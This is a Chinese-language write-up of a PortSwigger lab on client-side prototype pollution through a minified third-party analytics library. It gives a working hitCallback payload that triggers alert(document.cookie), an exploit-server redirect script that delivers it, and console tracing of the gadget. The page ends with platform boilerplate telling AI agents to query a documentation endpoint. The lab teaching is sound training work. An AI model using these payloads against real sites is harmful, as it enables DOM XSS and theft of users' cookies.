> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/prototype-pollution/client-side-prototype-pollution-in-third-party-libraries.md).

# 第三方库中的客户端原型污染

第三方库中的客户端原型污染，PortSwigger Web Security Academy 实验笔记，包括利用流程、载荷测试、Burp Suite 验证以及修复上下

### 第三方库中的客户端原型污染

#### 实验环境

这个实验室存在一个 **通过客户端原型污染实现的 DOM XSS**. / 这里的特殊之处在于存在漏洞的 **gadget 位于第三方 JavaScript 库中**，其代码已 **压缩混淆**，使手动分析更加复杂。

该实验由以下内容中指出的真实漏洞所启发： **PortSwigger 研究**，尤其是在 Gareth Heyes 撰写的文章《广泛存在的原型污染 gadget》中 **Gareth Heyes**.

最终目标：/ \*\* 在 `alert(document.cookie)` 受害者的浏览器中运行\*\*，使用提供的 exploit 服务器。

### 推荐方法：使用 DOM Invader 自动攻击

#### DOM Invader 激活

1. 打开内置浏览器以 **Burp Suite**.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d625f4b980ff05ac2ee981dbafbd7eb2955cc8c1%2Fimage%20(91).png?alt=media" alt=""><figcaption></figcaption></figure>

* 检查 **DOM Invader** 扩展是否已启用。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bf3768a24da0bedae989d42b57b845992477fb3e%2Fimage%20(92).png?alt=media" alt=""><figcaption></figcaption></figure>

启用：

* **DOM Invader 已开启**
* **攻击类型：原型污染**

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ca3e288007fc1232a49467b13b395ddb8b615dd3%2Fimage%20(93).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 有漏洞源的识别

* 在 **DOM Invader** 选项卡中，一个 **原型污染源** 会被自动检测到。
* DOM Invader 表明可以通过 \*\*URL 片段（`#`）\*\* 进行污染，而不是通过常规设置（`?`).

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-be14fd3875d6d4fe4b572a16950c0bd7c46eba10%2Fimage%20(94).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 自动发现 Gadget

1. 启动 **扫描 gadget** ，由 DOM Invader 执行。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-26a5ad548d394751e299020260b555900c6c0a77%2Fimage%20(95).png?alt=media" alt=""><figcaption></figcaption></figure>

在第三方库中识别到一个可利用的 gadget。

点击 **利用**后，DOM Invader 通过以下内容确认执行： `alert(1)`.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f9baf266ac3afb989041c05de92699b387d04716%2Fimage%20(97).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1f10f97924c33e1f7586165ca87e2455b7fd2fba%2Fimage%20(96).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 最终载荷（document.cookie）

DOM Invader 识别的载荷：

```javascript
#constructor[prototype][hitCallback]=alert%28document.cookie%29
```

此载荷会触发包含 cookie 的 alert

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1e2db01e09fe312bd5961de76267f51da4e81d1c%2Fimage%20(98).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 向受害者投递利用代码

以下代码会与 **运行中的服务器一起发送**:

```javascript
<script>
    window.location.href = 'https://0aab001004b09f5780ab035a00c40034.web-security-academy.net/#constructor[prototype][hitCallback]=alert%28document.cookie%29';
</script>
```

当受害者加载页面时，JavaScript 会在其浏览器中执行

### 手动方法（详细分析）

#### 常规污染尝试（失败）

以下载荷\*\*不起作用\*\*：

```bash
/?__proto__[foo]=bar
/?__proto__.foo=bar
```

结果

```javascript
console.log({}.foo); // 未定义
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bb18e5d6bd87b621ba306bac8b703fd99dff75c6%2Fimage%20(99).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 通过 URL 片段污染（成功）

然而，污染\*\*在使用以下方式时生效： `#`\*\*:

```javascript
#__proto__[foo]=bar
#__proto__.foo=bar
```

这表明有漏洞的源会处理 URL 片段

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bf6a41e16ee7930c805d3e349f8a834c9063f2b2%2Fimage%20(100).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

#### 第三方库分析

* 加载了一个大型文件：

/resources/js/ga.js

大约 3000 行的压缩代码。

* 该文件包含一个名为 hitCallback 的回调函数，使用时未进行严格验证。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5f5e14d7e1ab8b6397b92cf54df121d6dd0e4aa1%2Fimage%20(101).png?alt=media" alt=""><figcaption></figcaption></figure>

### 手动识别 Gadget

#### 使用以下方式进行追踪： `Object.defineProperty`

为了找出读取了哪些属性，我们注入： `Object.prototype`，我们注入：

```javascript
Object.defineProperty(Object.prototype, 'YOUR-PROPERTY', {
    get() {
        console.trace();
        return 'polluted';
    }
})
```

#### 停止 JavaScript 执行

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b582d901a85abad50fcc84cb6a0fc5a59043dbf0%2Fimage%20(102).png?alt=media" alt=""><figcaption></figcaption></figure>

通过拦截 HTML 响应，我们注入：

```javascript
<script>
    debugger;
</script>
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e6e976a509e7be5eb20a86283701c0bfcf012439%2Fimage%20(103).png?alt=media" alt=""><figcaption></figcaption></figure>

浏览器会停在 \*\*

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ecdbf4daf035d06b83dba3906bdd872d457da9a0%2Fimage%20(104).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 候选属性测试

未命中属性的示例

```javascript
Object.defineProperty(Object.prototype, 'anonymizeIp', {
    get() {
        console.trace();
        return 'polluted';
    }
})
```

没有有价值的调用栈。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cd7aed72f01a1de55bf34000bc8eeff781fc8403%2Fimage%20(106).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-75f0885f74f91535d29eeb377b4383e5897697ab%2Fimage%20(105).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 发现有效 Gadget： `hitCallback`

```javascript
Object.defineProperty(Object.prototype, 'hitCallback', {
    get() {
        console.trace();
        return 'polluted';
    }
})
```

结果：

* `console.trace()` 显示出一串来自以下位置的调用： `ga.js`
* 该属性已被正确 **读取并作为函数执行**

此行为证实 `hitCallback` 被作为 JavaScript 回调调用

```javascript
console.trace() debugger eval code:3:17
    get debugger eval code:3
    get https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:19
    Vc https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:21
    j https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:19
    Fa https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:63
    b https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:19
    O https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:36
    push https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:33
    b https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:19
    <anonymous> https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:84
    Fe https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:84
    <anonymous> https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:84
    <anonymous> https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:84
    <anonymous> https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:84
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c0b15979f40594902557c9c3362316d0bc94d5e8%2Fimage%20(107).png?alt=media" alt=""><figcaption></figcaption></figure>

此行为证实 `hitCallback` 被作为 JavaScript 回调调用

```javascript
未捕获的引用错误：polluted 未定义
    <anonymous> https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:21
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-11dd93280be32ce207a0f9af097ba6a18d6ef6c0%2Fimage%20(108).png?alt=media" alt=""><figcaption></figcaption></figure>

* 该 `hitCallback` 该 gadget 允许任意\*\* JavaScript 执行\*\*，从而导致 **DOM XSS**.

```javascript
Zc.prototype.stopPropagation = function () {
      throw 'aborted';
    };
    var Vc = function (a) {
      var b = this;
      this.fb = 0;
      var c = a.get(tc);
      this.Ua = function () {
        0 < b.fb &&
        c &&
        (b.fb--, b.fb || c())
      };
      this.Ja = function () {
        !b.fb &&
        c &&
        setTimeout(c, 10)
      };
      a.set(uc, b, !0)
    };
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fc5d88453913b109956a694199f787e312a9cf6b%2Fimage%20(109).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/web/prototype-pollution/client-side-prototype-pollution-in-third-party-libraries.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
